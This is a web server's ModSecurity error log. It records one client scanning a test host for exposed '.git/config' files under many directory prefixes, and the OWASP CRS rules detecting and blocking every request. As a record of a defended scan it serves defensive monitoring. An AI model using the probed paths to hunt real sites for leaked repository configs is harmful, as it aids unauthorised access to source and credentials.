[Mon Mar 25 22:18:15.698877 2024] [:error] [pid 2027228] [client 91.215.85.29:54016] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpAAAAAg&quot;]
[Mon Mar 25 22:18:15.700505 2024] [:error] [pid 2025392] [client 91.215.85.29:54048] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRwAAAAM&quot;]
[Mon Mar 25 22:18:15.700800 2024] [:error] [pid 2025392] [client 91.215.85.29:54048] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRwAAAAM&quot;]
[Mon Mar 25 22:18:15.701023 2024] [:error] [pid 2025392] [client 91.215.85.29:54048] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJRwAAAAM&quot;]
[Mon Mar 25 22:18:15.769627 2024] [:error] [pid 2025394] [client 91.215.85.29:54080] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzgAAAAU&quot;]
[Mon Mar 25 22:18:15.769929 2024] [:error] [pid 2025394] [client 91.215.85.29:54080] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzgAAAAU&quot;]
[Mon Mar 25 22:18:15.770128 2024] [:error] [pid 2025394] [client 91.215.85.29:54080] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzgAAAAU&quot;]
[Mon Mar 25 22:18:15.770268 2024] [:error] [pid 2025393] [client 91.215.85.29:54050] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WgAAAAQ&quot;]
[Mon Mar 25 22:18:15.770612 2024] [:error] [pid 2025393] [client 91.215.85.29:54050] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WgAAAAQ&quot;]
[Mon Mar 25 22:18:15.770751 2024] [:error] [pid 2025390] [client 91.215.85.29:54070] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIQAAAAE&quot;]
[Mon Mar 25 22:18:15.770923 2024] [:error] [pid 2025393] [client 91.215.85.29:54050] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WgAAAAQ&quot;]
[Mon Mar 25 22:18:15.771003 2024] [:error] [pid 2025390] [client 91.215.85.29:54070] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIQAAAAE&quot;]
[Mon Mar 25 22:18:15.771265 2024] [:error] [pid 2025390] [client 91.215.85.29:54070] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIQAAAAE&quot;]
[Mon Mar 25 22:18:15.772190 2024] [:error] [pid 2027220] [client 91.215.85.29:54060] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_wAAAAY&quot;]
[Mon Mar 25 22:18:15.773498 2024] [:error] [pid 2027220] [client 91.215.85.29:54060] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_wAAAAY&quot;]
[Mon Mar 25 22:18:15.773806 2024] [:error] [pid 2027220] [client 91.215.85.29:54060] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_wAAAAY&quot;]
[Mon Mar 25 22:18:15.798366 2024] [:error] [pid 2025389] [client 91.215.85.29:54084] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWAAAAAA&quot;]
[Mon Mar 25 22:18:15.798790 2024] [:error] [pid 2025389] [client 91.215.85.29:54084] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWAAAAAA&quot;]
[Mon Mar 25 22:18:15.798803 2024] [:error] [pid 2025391] [client 91.215.85.29:54098] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFwAAAAI&quot;]
[Mon Mar 25 22:18:15.799123 2024] [:error] [pid 2025391] [client 91.215.85.29:54098] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFwAAAAI&quot;]
[Mon Mar 25 22:18:15.799139 2024] [:error] [pid 2025389] [client 91.215.85.29:54084] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWAAAAAA&quot;]
[Mon Mar 25 22:18:15.799337 2024] [:error] [pid 2025391] [client 91.215.85.29:54098] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFwAAAAI&quot;]
[Mon Mar 25 22:18:15.810932 2024] [:error] [pid 2027224] [client 91.215.85.29:54140] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgwAAAAc&quot;]
[Mon Mar 25 22:18:15.811227 2024] [:error] [pid 2027224] [client 91.215.85.29:54140] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgwAAAAc&quot;]
[Mon Mar 25 22:18:15.811376 2024] [:error] [pid 2027224] [client 91.215.85.29:54140] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgwAAAAc&quot;]
[Mon Mar 25 22:18:15.813529 2024] [:error] [pid 2028694] [client 91.215.85.29:54124] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIwAAAAk&quot;]
[Mon Mar 25 22:18:15.813738 2024] [:error] [pid 2028694] [client 91.215.85.29:54124] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIwAAAAk&quot;]
[Mon Mar 25 22:18:15.813892 2024] [:error] [pid 2028694] [client 91.215.85.29:54124] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIwAAAAk&quot;]
[Mon Mar 25 22:18:15.814112 2024] [:error] [pid 2027228] [client 91.215.85.29:54110] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpQAAAAg&quot;]
[Mon Mar 25 22:18:15.814629 2024] [:error] [pid 2027228] [client 91.215.85.29:54110] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpQAAAAg&quot;]
[Mon Mar 25 22:18:15.815019 2024] [:error] [pid 2027228] [client 91.215.85.29:54110] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpQAAAAg&quot;]
[Mon Mar 25 22:18:15.827944 2024] [:error] [pid 2025392] [client 91.215.85.29:54156] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSAAAAAM&quot;]
[Mon Mar 25 22:18:15.828322 2024] [:error] [pid 2025392] [client 91.215.85.29:54156] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSAAAAAM&quot;]
